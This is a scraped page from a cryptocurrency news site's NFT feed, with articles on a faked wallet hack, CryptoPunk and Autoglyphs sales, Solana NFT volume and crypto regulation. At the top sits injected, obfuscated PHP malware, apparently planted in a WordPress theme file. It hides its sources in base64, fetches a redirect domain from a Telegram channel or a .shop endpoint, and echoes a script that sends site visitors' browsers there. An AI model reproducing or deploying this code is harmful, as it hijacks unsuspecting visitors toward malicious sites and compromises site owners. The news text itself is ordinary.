if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } NFT News – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Thu, 04 Apr 2024 09:10:46 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png NFT News – CoinsMegaNews https://coinsmeganews.com 32 32 ZachXBT Exposes NFT Project Creator of Fabricating Hack to Buy DeGods and y00t https://coinsmeganews.com/zachxbt-exposes-nft-project-creator-of-fabricating-hack-to-buy-degods-and-y00t/ https://coinsmeganews.com/zachxbt-exposes-nft-project-creator-of-fabricating-hack-to-buy-degods-and-y00t/#respond Thu, 04 Apr 2024 09:10:46 +0000 https://coinsmeganews.com/zachxbt-exposes-nft-project-creator-of-fabricating-hack-to-buy-degods-and-y00t/ [ad_1]

On April 3, 2024, ZachXBT revealed that Kyle raised alarm bells in his Discord server, claiming his wallets had fallen victim to a hack.

The prominent blockchain investigator’s findings instead strongly suggested a deliberate transfer of funds rather than an external hack.

Kyle Accused of Faking Hack

While investigating an alleged hack involving a “social gamer,” Kyle, and a less-known NFT project called ‘NuddiesNFT,’ ZachXBT found a disturbing narrative of lies and deception. However, the popular on-chain sleuth uncovered a different story.

Within hours of the purported hack, 94 SOL tokens worth around $12,000 were traced to an exchange deposit address. He then found a destination transaction for 3.42 ETH, worth around $11.7K using time analysis.

The Ether was then used to purchase high-value NFTs, notably DeGods 2921 & y00t 10991, which were promptly transferred to Kyle’s public ENS address.

Kyle reportedly blatantly flaunted the ill-gotten gains, featuring the DeGods NFT as his profile picture on social media platforms. This brazen display is compounded by their post-hack behavior, where they shifted gears to share motivational quotes in Discord, seemingly oblivious to the blockchain’s indelible record of his actions.

ZachXBT’s latest investigation, however, serves as a sobering reminder of the transparency inherent to blockchain technology despite the rampant scams and rug pulls.

Shortly after ZachXBT’s post, Kyle deleted his X (formerly Twitter) account.

As for NuddiesNFT, the project said that its creator wallet was replenished with $12K. The private keys, on the other hand, were entrusted to two community members. After removing Kyle, new owners were also roped in to monitor the project.

While certain investors remained hopeful about the project, others claim that Nuddies is yet another fraudulent NFT project that would rug pull soon.

ZachXBT Unmasking Frauds

ZachXBT has been exposing popular influencers for promoting questionable tokens and projects, investigating suspicious activity, and exposing fraudulent entities since 2021. His targets range from Crypto Rover, BitBoyCrypto’s Ben Armstrong, Lark Davis, DannyCrypt, and many more.

The detective even pointed a finger at American YouTuber Logan Paul.

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]]> https://coinsmeganews.com/zachxbt-exposes-nft-project-creator-of-fabricating-hack-to-buy-degods-and-y00t/feed/ 0 Punk #7804 Sold for Over $16M in ETH https://coinsmeganews.com/punk-7804-sold-for-over-16m-in-eth/ https://coinsmeganews.com/punk-7804-sold-for-over-16m-in-eth/#respond Fri, 22 Mar 2024 08:35:30 +0000 https://coinsmeganews.com/punk-7804-sold-for-over-16m-in-eth/ [ad_1]

The once-hot NFTs witnessed a significant downturn during the crypto winter. But this sector again appears to have bounced back following the widespread rebound of digital assets.

One of nine Alien Punks was sold for 4,850 ETH – the second-largest CryptoPunks sale ever – just days after a similar recent transaction of Alien Punk #3100.

Blue-Skinned Punk Fetches $16.42M

Punk #7804, part of the exclusive Ethereum NFT collection featuring only nine Alien Punks, exchanged hands for a staggering 4,850 ETH on March 20th. This is equivalent to approximately $16.42 million at the time of the sale and marks the second-largest transaction in CryptoPunks history, both in terms of ETH and USD.

This exchange closely follows another similar sale of Alien Punk #3100, which fetched 4,500 ETH, valued at $16.03 million, earlier this month. The piece, which is among the nine Alien Punks in the CryptoPunks collection, is one of the rarest and most expensive sets and features blue skin and a bandana.

The identity of the purchaser remains undisclosed, mirroring the anonymity of the previous buyer. However, the individual who sold Punk #7804, having acquired it in 2021 for 4,200 ETH, for over $7.50 million at the time, expressed regret on Twitter for not “elevating” the profile of the Punk during their ownership. The tweet in question read,

“End of an era. I’ve long since felt like an imposter. Holding punks, and potentially NFTs a whole hostage by not elevating 7804 in the way he deserves. After over a year of looking around I feel I’ve found the right buyer with the right vision to appropriately elevate this asset.”

CryptoPunks Journey So Far

CryptoPunks was launched in June 2017 by the Larva Labs studio. The right to the NFT collection was later acquired by Yuga Labs, the creators behind the popular Bored Ape Yacht Club (BAYC) project, for an undisclosed sum. To mark the sixth anniversary in June 2023, Yuga Labs teamed up with Zak Group to produce a book containing official documentation of the NFT collection.

According to data from CryptoSlam, CryptoPunks clocked in more than $55.24 million in sales throughout March. It boasted 71 unique sellers and 49 unique buyers for the same period.

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]]> https://coinsmeganews.com/punk-7804-sold-for-over-16m-in-eth/feed/ 0 NodeMonkes Sees 53% Surge in Floor Price https://coinsmeganews.com/nodemonkes-sees-53-surge-in-floor-price/ https://coinsmeganews.com/nodemonkes-sees-53-surge-in-floor-price/#respond Tue, 19 Mar 2024 08:29:34 +0000 https://coinsmeganews.com/nodemonkes-sees-53-surge-in-floor-price/ [ad_1]

NodeMonkes, Bitcoin’s premier NFT collection, has surged by over 50% in the past 24 hours, surpassing Bored Ape Yacht Club (BAYC) in market capitalization.

According to data from CoinGecko, NodeMonkes witnessed a 53.3% surge in its floor price, making it the second-largest NFT collection in terms of market cap.

NodeMonkes and Runestone’s Floor Price Surge

On Monday morning, Asian time, the floor price of NodeMonkes surged to 0.83 BTC, around $55,890, with its market cap rising to $558.9 million, surpassing the Bored Ape Yacht Club in market capitalization.

Notably, NodeMonkes’ sales have also experienced an increase, rising by 162.0% over the past 24 hours to reach a sales volume of approximately $5.5 million, as reported by CryptoSlam.

In a concurrent development, Runestone, another Bitcoin-based NFT collection, observed a surge in its floor price, marking a 125% increase within the last 24 hours and elevating its market capitalization to 4,799 BTC, equivalent to $326,255,216. This upsurge has elevated Runestone to the sixth-largest NFT collection by market capitalization.

Runestone Dominates NFT Marketplaces

Runestone has also emerged as the leading NFT collection across various multi-chain support marketplaces. Data indicates that Runestone holds the top spot in sales on platforms like OKX and Magic Eden.

Magic Eden, in particular, has seen Runestone generate a trading volume of 198 BTC, equivalent to approximately $13.4 million. Similarly, OKX has witnessed a substantial trading volume, with Runestone NFTs amassing a total of 268 BTC, roughly equivalent to around $18.2 million since its introduction.

Presently, the floor price for a Runestone NFT stands at about 0.042 BTC, approximately $2,982, on Magic Eden, and 0.044 BTC worth roughly $3,009, on the OKX NFT marketplace.

Leonidas, a prominent NFT historian and the founder of Ord.io is credited with creating the Runestone NFT collection. Unlike traditional NFT launches, Runestone’s distribution method involved an airdrop to Ordinals holders, requiring ownership of at least three inscriptions to qualify for an NFT.

Data from Magic Eden shows that the Runestone collection has 90,000 owners, with 2.5% listed on the marketplace, while 1.25% of the collection is listed on OKX, with around 88,000 owners.

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]]> https://coinsmeganews.com/nodemonkes-sees-53-surge-in-floor-price/feed/ 0 CryptoPunks NFT Collection Records Another Big Sale https://coinsmeganews.com/cryptopunks-nft-collection-records-another-big-sale/ https://coinsmeganews.com/cryptopunks-nft-collection-records-another-big-sale/#respond Wed, 06 Mar 2024 08:00:27 +0000 https://coinsmeganews.com/cryptopunks-nft-collection-records-another-big-sale/ [ad_1]

A CryptoPunk non-fungible token (NFT), which belongs to the rarest set in the collection, was sold for over $16 million worth of Ether (ETH).

The latest sale is the second-highest CryptoPunks transaction after a record-breaking purchase in February 2022.

Alien Punk NFT Sold for 4,500 ETH

On Monday, March 4, 2024, an anonymous buyer purchased CryptoPunk #3100 for 4,500 ETH, worth $16.03 million at the time of the sale. The pixelated piece spots blue skin and a bandana.

According to the CryptoPunks platform, the buyer initially offered a bid of 4,250 ETH but withdrew it on March 1. The bidder later increased the offer to 4,500 ETH on March 4, which was accepted by the seller.

CryptoPunk #3100 is one of the nine Alien Punks in the CryptoPunks collection, comprising 10,000 pieces, making Alien Punks the rarest and most expensive set.

In February 2022, Deepak Thapliyal, CEO of blockchain infrastructure company Chain, bought CryptoPunk #5822, another Alien Punk, for 8,000 ETH, valued at nearly $24 million at the time of purchase. The piece is currently the highest CryptoPunks sale.

There are currently two other Alien Punk NFTs up for sale for 5,000 ETH (value at 17.97 million) and 5,500 ETH (worth $19.7 million).

NFTs Reviving Amid Bull Market Excitement?

Created by Larva Labs in 2017, CryptoPunks is said to be one of the first NFT collections on the Ethereum blockchain. Bored Ape Yacht Club (BAYC) creator Yuga Labs bought the intellectual property of the collection in March 2022.

The total volume of all Punks traded, according to NFT marketplace giant OpenSea, stands at 1,223,620 ETH, which is equivalent to $4.3 billion at ETH’s current price.

However, it should be noted that since CryptoPunks have been traded at different ETH values over the years, this doesn’t mean that the total value of all Punks traded amounts to $4.3 billion.

Data from nftpricefloor.com showed that the floor price for one CryptoPunk NFT is approximately 57 ETH, with a 24-hour  trading volume of 4,910.6 ETH ($17.6 million) and a market capitalization of 569,900 ETH ($2 billion), making it the top NFT collection.

Meanwhile, the big sale caused some part of the crypto community on X to state that NFTs might not be dead after all, with others stating that it was a further signal that the bull market was back.

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]]> https://coinsmeganews.com/cryptopunks-nft-collection-records-another-big-sale/feed/ 0 Energy Trading Platform SunContract Introduces First NFT-Powered Solar Panels Marketplace https://coinsmeganews.com/energy-trading-platform-suncontract-introduces-first-nft-powered-solar-panels-marketplace/ https://coinsmeganews.com/energy-trading-platform-suncontract-introduces-first-nft-powered-solar-panels-marketplace/#respond Tue, 05 Mar 2024 07:57:12 +0000 https://coinsmeganews.com/energy-trading-platform-suncontract-introduces-first-nft-powered-solar-panels-marketplace/ [ad_1]

The Slovenian energy trading platform – SunContract – launched the first NFT marketplace for solar panels, enabling direct earnings or energy consumption from tokenized solar farms.

The project leverages blockchain to democratize renewable energy access, allowing holders to manage their energy assets easily.

According to a press release shared with CryptoPotato, the entity has introduced the world’s first non-fungible token marketplace for real-world solar panels. Users will be able to directly benefit from those panels by earning from them or for personal consumption at home or in their businesses.

SunContract made the announcement during the Crypto Expo Europe conference held in Bucharest, Romania, showing how blockchain technology can be employed to empower the clean energy sector. SunContract’s inaugural tokenized solar farm is located in the Slovenian village of Višnje at a facility with a peak power of 517 kW.

The NFTs represent a distinguished panel at the farm. The initiative is backed by people who are committed to the green future of the planet and are eager to support the development of the renewable energy niche.

The entity explained that the first step of the initiative includes generating energy from the underlying solar panel, which will later be sold on users’ behalf in return for SNC tokens. Those assets will be automatically credited to their wallets once operational and maintenance fees are deducted.

NFT holders will be allowed to use the energy in countries where SunContract owns permits or licenses, such as Slovenia, Estonia, Croatia, and more to come. The step aims to democratize renewable energy and make it accessible to everyone.

NFTs of that type can be purchased and sold at any time in the aforementioned marketplace. In addition, holders can manage the generated energy by their “Personal Power Plant” from a smartphone.

Speaking on the matter was SunContract’s co-founder and CIO, Gregor Novak, who said:

“The addition of an NFT marketplace is set to further this reach, making our services globally accessible. The blockchain’s role in our platform is not just a technological foundation; it’s a gateway to expanding our community and enhancing the user experience on a global scale,” he added.

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]]> https://coinsmeganews.com/energy-trading-platform-suncontract-introduces-first-nft-powered-solar-panels-marketplace/feed/ 0 Solana NFT Sales Reached Massive Milestone as SOL Price Stalls at $100 https://coinsmeganews.com/solana-nft-sales-reached-massive-milestone-as-sol-price-stalls-at-100/ https://coinsmeganews.com/solana-nft-sales-reached-massive-milestone-as-sol-price-stalls-at-100/#respond Mon, 26 Feb 2024 07:38:27 +0000 https://coinsmeganews.com/solana-nft-sales-reached-massive-milestone-as-sol-price-stalls-at-100/ [ad_1]

Solana-based nonfungible tokens (NFTs) have reached a significant milestone, surpassing an all-time sales volume of $5 billion, according to data from CryptoSlam.

This surge in activity marks a turnaround for the Solana blockchain, which struggled to gain traction in the NFT space just a few months ago.

Solana Ecosystem Surges

As of February 23, the cumulative sales volume for Solana-based NFTs has reached $5,014,125,016, showcasing the growing prominence of the layer-1 blockchain in the NFT marketplace. The network boasts a substantial user base, with over 2.2 million buyers and 1.6 million sellers, facilitating nearly 43 million transactions.

The recent surge in Solana NFT sales contrasts with the stagnant performance observed in the months leading up to November 2023. Monthly sales volumes hovered around $40 million, showing little signs of growth. However, this trend shifted post-October 2023.

In November 2023, Solana NFT sales skyrocketed to approximately $82 million, marking a 192% increase from the previous month. This momentum continued into December, with Solana-based NFTs recording around $365 million in monthly sales, just shy of Ethereum’s $353.2 million.

Solana’s increase in NFT sales aligns with the bullish trend for the Solana token, which has seen a price surge since December 2023. The current trading price stands at $102.73, marking a 302% increase over the past year based on data from Coingecko.

Although sales volume slowed slightly in January, Solana NFTs still recorded over $239 million in sales. As of February, monthly sales volume stands at $161 million. These consecutive months of robust performance have propelled Solana NFTs to surpass $1 billion in sales volume over the past nine months alone.

Analysts Predict Ethereum’s Decline

The increase in sales volume and transactional activity could be attributed to the broader enthusiasm surrounding the Solana ecosystem and the buzz surrounding specific projects offering potential incentives such as airdrops and additional benefits.

For instance, Tensorians, an NFT initiative affiliated with the prominent Solana marketplace Tensor, witnessed trading volumes totaling $28 million in December. Mad Lads recorded trades amounting to $24.5 million during the same period.

Analysts at JPMorgan, led by Nikolaos Panigirtzoglou, have foreseen Ethereum’s dwindling market share in the NFT space, with competitors like Solana gaining ground. Citing issues of congestion and exorbitant gas fees plaguing Ethereum, analysts noted a significant migration of NFT applications to alternative blockchains, with Solana emerging as a primary beneficiary.

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]]> https://coinsmeganews.com/solana-nft-sales-reached-massive-milestone-as-sol-price-stalls-at-100/feed/ 0 Autoglyphs Set Fetches Record-Breaking $14.6 Million in Historic NFT Sale https://coinsmeganews.com/autoglyphs-set-fetches-record-breaking-14-6-million-in-historic-nft-sale/ https://coinsmeganews.com/autoglyphs-set-fetches-record-breaking-14-6-million-in-historic-nft-sale/#respond Wed, 21 Feb 2024 07:29:41 +0000 https://coinsmeganews.com/autoglyphs-set-fetches-record-breaking-14-6-million-in-historic-nft-sale/ [ad_1]

In a recent development that’s making headlines, a complete set of 10 Autoglyphs has been acquired for 5,000 ETH, equivalent to approximately $14.6 million.

This sale marks the highest NFT sale in the past two years and stands as the fifth-largest purchase on-chain, setting a new benchmark for the value of blockchain-based artworks.

The Collection

Facilitated by Fountain.xyz, a known brokerage specializing in rare digital art, the acquisition was made by a collector who, while preferring to remain anonymous, comes from a background deeply rooted in the traditional analog art scene.

According to a representative, the collector views the Autoglyphs as no different from a standard art acquisition and intends to exhibit the works in museums and institutional settings in the future.

The collector was represented by esteemed art advisor Amanda Schmitt, whose expertise has been recognized globally, including a feature on TIME magazine’s “Person of the Year” cover in 2017.

The Autoglyphs, created by Larva Labs’ Matt Hall and John Watkinson, emerged nearly two years after they created CryptoPunks. Comprising 512 unique outputs, the Autoglyphs have quickly become one of the most coveted collections for generative art enthusiasts.

The acquired set, one of only seven and among the three developer ones directly curated and minted by Larva Labs, was previously part of the renowned “Old School Collection.”

Autoglyphs Reach Unprecedented Heights

Autoglyphs have gotten widespread acclaim, having been exhibited at prestigious venues such as Centre Pompidou and Sotheby’s. Notably, Centre Pompidou, Europe’s largest modern art museum, featured the digital works as part of its first-ever exhibition on NFTs.

Two notable pieces, CryptoPunk #110 and Autoglyph #25, were even donated to Centre Pompidou, further solidifying the significance of Autoglyphs in the realm of digital art.

With over $50 million in secondary sales, Autoglyphs have established themselves as highly sought-after assets, and this latest acquisition only serves to solidify their position in blockchain art history.

Launched in 2019, Autoglyphs represent the first “on-chain” generative art on the Ethereum blockchain. Unlike many NFTs that rely on off-chain storage, each Autoglyph is self-contained within the blockchain, ensuring its uniqueness and ownership.

Produced by a highly optimized algorithm capable of generating billions of unique artworks, the Autoglyphs ceased production after the creation of 512 glyphs, making them exclusively available on the secondary market.

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]]> https://coinsmeganews.com/autoglyphs-set-fetches-record-breaking-14-6-million-in-historic-nft-sale/feed/ 0 Farcaster’s Revenue Surges to $600,000 Following Frames Integration https://coinsmeganews.com/farcasters-revenue-surges-to-600000-following-frames-integration/ https://coinsmeganews.com/farcasters-revenue-surges-to-600000-following-frames-integration/#respond Tue, 13 Feb 2024 07:06:28 +0000 https://coinsmeganews.com/farcasters-revenue-surges-to-600000-following-frames-integration/ [ad_1]

Farcaster, an Ethereum Layer 2 Optimism-based decentralized social protocol, has seen its total revenue surge to $600,000.

The platform’s rise has been likened to FriendTech, another decentralized social network, which attracted a lot of users initially until it grappled with high fees that led to its failure.

Farcaster’s Growth Surges with Frames Integration

Farcaster initially caught users’ attention in early December 2023 and saw a modest increase in users paying for platform storage.

The second attention wave occurred in late January and peaked in early February. During this time, there was a surge in user signups, daily user activity, and posts, primarily driven by the launch of Frames on January 29, an in-app engagement tool.

Frames have brought about native monetization within the app. Users can offer an NFT to another Farcaster user if they follow the original poster’s account and repost their Frame with this feature. Hence, the excitement of obtaining free NFTs and the possibility of an airdrop have brought more users from Discord and Twitter.

Unlike most social platforms, Farcaster charges ongoing storage fees for its users to host the data generated daily to create revenue. This storage fee is $5 per year for 5,000 posts, 2,500 reactions, and 2,500 follows.

A portion of these fees is allocated to the platform, while some are utilized to cover transaction fees and process credit card information. Clients building on Farcaster can also charge their fees. On Warpcast, the posting fee is $0.01 per post, although many reward mechanisms provide free posts.

While there are several rationales behind implementing fees per post, the main one is preventing spamming activities to create a more authentic and meaningful interaction environment that is attractive to users.

Farcaster Daily Active Users Skyrocket

According to data from Dune Analytics, the number of daily active users on the Farcaster network surged from approximately 5,000 on January 28 to over 172,000 today.

Simultaneously, the number of new daily “casts” increased, surpassing 2.9 million today, a significant jump from 200,000 casts on January 28.

Meanwhile, the last few weeks have seen a huge portion of Farcaster users transition to using the Coinbase-built Base network for on-chain transactions, peaking at 64% of transactions, as per Dune Analytics data. The move has been fueled by low network fees.

In addition, the background of Farcaster co-founder Dan Romero, a former Coinbase vice president, and Jesse Pollak, current protocol lead at the exchange as one of the platform’s most popular users, may have further driven the shift.

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]]> https://coinsmeganews.com/farcasters-revenue-surges-to-600000-following-frames-integration/feed/ 0 SEC Faces Sanctions in Court Over Another Crypto, Files for Dismissal https://coinsmeganews.com/sec-faces-sanctions-in-court-over-another-crypto-files-for-dismissal/ https://coinsmeganews.com/sec-faces-sanctions-in-court-over-another-crypto-files-for-dismissal/#respond Thu, 01 Feb 2024 06:48:18 +0000 https://coinsmeganews.com/sec-faces-sanctions-in-court-over-another-crypto-files-for-dismissal/ [ad_1]

DEBT Box, a company that primarily provides users of its services with crypto mining software, was taken to court last year by the SEC.

According to the regulator, DEBT Box had defrauded investors to the tune of $50 million by selling unregistered securities. The company, which provides an ecosystem to go along with its software, has its own token, DEBT, to facilitate payments across the ecosystem. However, it is a tool used primarily for the transfer of assets in-house.

Assets Frozen Erroneously

Back in August, the SEC asked the court to freeze DEBT Box’s assets, claiming that the company was putting users’ funds at risk due to “proof” of a $720k transfer to foreign bank accounts.

Additionally, the request was filed ex parte, meaning that DEBT Box was not made aware and, therefore, could not challenge it in court. The agency motivated this by stating that the firm’s lawyers were attempting to stop the SEC’s request, which is sort of what lawyers are hired to do.

Although the asset freeze was granted, new evidence later came to life, proving that the asset transfer in question was actually done domestically. The asset freeze was lifted, and DEBT Box lawyers wasted no time in requesting a dismissal of the case a few days later.

However, the SEC has since come forward with their own request for dismissal, requesting lighter sanctions than the ones requested by the defendant.

Prejudice Should Not Apply

The SEC’s lawyers have been hit with a request to Show Cause, meaning that they must justify themselves before the court or face penalties.

According to Fortune, the SEC argued that the false evidence had not been provided maliciously and was based on a YouTube video made and posted by one of the defendants in the case.

“While the Commission recognizes that its attorneys should have been more forthcoming with the Court, sanctions are not appropriate or necessary to address those issues. Significantly, the Commission is continuing to take steps to address the issues the Court identified and to identify any other issues that may warrant further consideration.”

Due to the error which the SEC claims was unintentional, the regulator requests that the harsh penalties requested by the defendant be denied – although they agree that the case should be dismissed.

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]]> https://coinsmeganews.com/sec-faces-sanctions-in-court-over-another-crypto-files-for-dismissal/feed/ 0 Polygon Labs’ Legal Team Pushes For OCCIP’s Oversight https://coinsmeganews.com/polygon-labs-legal-team-pushes-for-occips-oversight/ https://coinsmeganews.com/polygon-labs-legal-team-pushes-for-occips-oversight/#respond Wed, 31 Jan 2024 06:47:43 +0000 https://coinsmeganews.com/polygon-labs-legal-team-pushes-for-occips-oversight/ [ad_1]

DeFi regulation has been a major bone of contention among regulatory watchdogs across the world. A recent paper, authored by Rebecca Rettig, Katja Gilman from Polygon Labs, and Michael Mosier from Arktouros, proposes a strategy to classify truly decentralized DeFi protocols as critical infrastructure.

This classification would place them under the oversight of the US Treasury’s Office of Cybersecurity and Critical Infrastructure Protection (OCCIP). Although the OCCIP isn’t a typical financial regulator, it plays a crucial role in strengthening the security and resilience of critical infrastructure in the financial services sector.

It collaborates with financial institutions, industry associations, and government agencies to exchange information about cybersecurity risks and weaknesses.

Classifying DeFi As ‘Critical Infrastructure’

The 45-page research suggests it is possible to set up safety measures to tackle the risks of illegal money activities in DeFi Systems. Instead of bringing in middlemen forcefully into real DeFi Systems, it’s comparable to not making phone companies have switchboard operators again to confirm who’s using each phone.

Rather, genuine DeFi should be seen as “critical infrastructure” and overseen by OCCIP, similar to how the authorities handle illegal finance risks in other tech systems in finance.

The report clarified that classifying genuine DeFi Systems as “critical infrastructure” under OCCIP doesn’t automatically label them as “financial institutions” regulated by the Bank Secrecy Act (BSA). OCCIP isn’t bound by BSA regulations and isn’t limited to working solely with financial institutions.

Additionally. classifying genuine DeFi Systems as “critical infrastructure” aligns with efforts proposed by both industry and regulators to establish regulatory measures for neutral software. According to the paper, these measures include implementing cybersecurity standards, setting up information sharing and analysis centers (ISACs), automating risk indicators, and using other tools to mitigate risks.

While some of these initiatives are already underway in the DeFi sector, such as cybersecurity frameworks and an ISAC, collaboration between industry and regulators facilitated by OCCIP would enhance the effectiveness of these efforts.

Unclear Regulations Pose Barriers to DeFi Expansion

DeFi has been a major grey area for regulators. While North America has been a big user of DeFi, its share of activity has dropped recently, mainly due to regulatory uncertainty in the US.

Earlier this year, the Commodity Futures Trading Commission (CFTC) highlighted a problem with DeFi systems: the lack of clear accountability, which some industry structures intentionally overlook. The agency pointed out various risks for investors and consumers, like fraud, market manipulation, conflicts of interest, data breaches, and privacy violations, mainly because people don’t understand DeFi well.

The CFTC suggested that policymakers need to understand DeFi better by figuring out what’s already known and what still needs exploring. They advised policymakers to use mapping exercises to see if the financial products and services offered by DeFi projects fall under existing US regulations.

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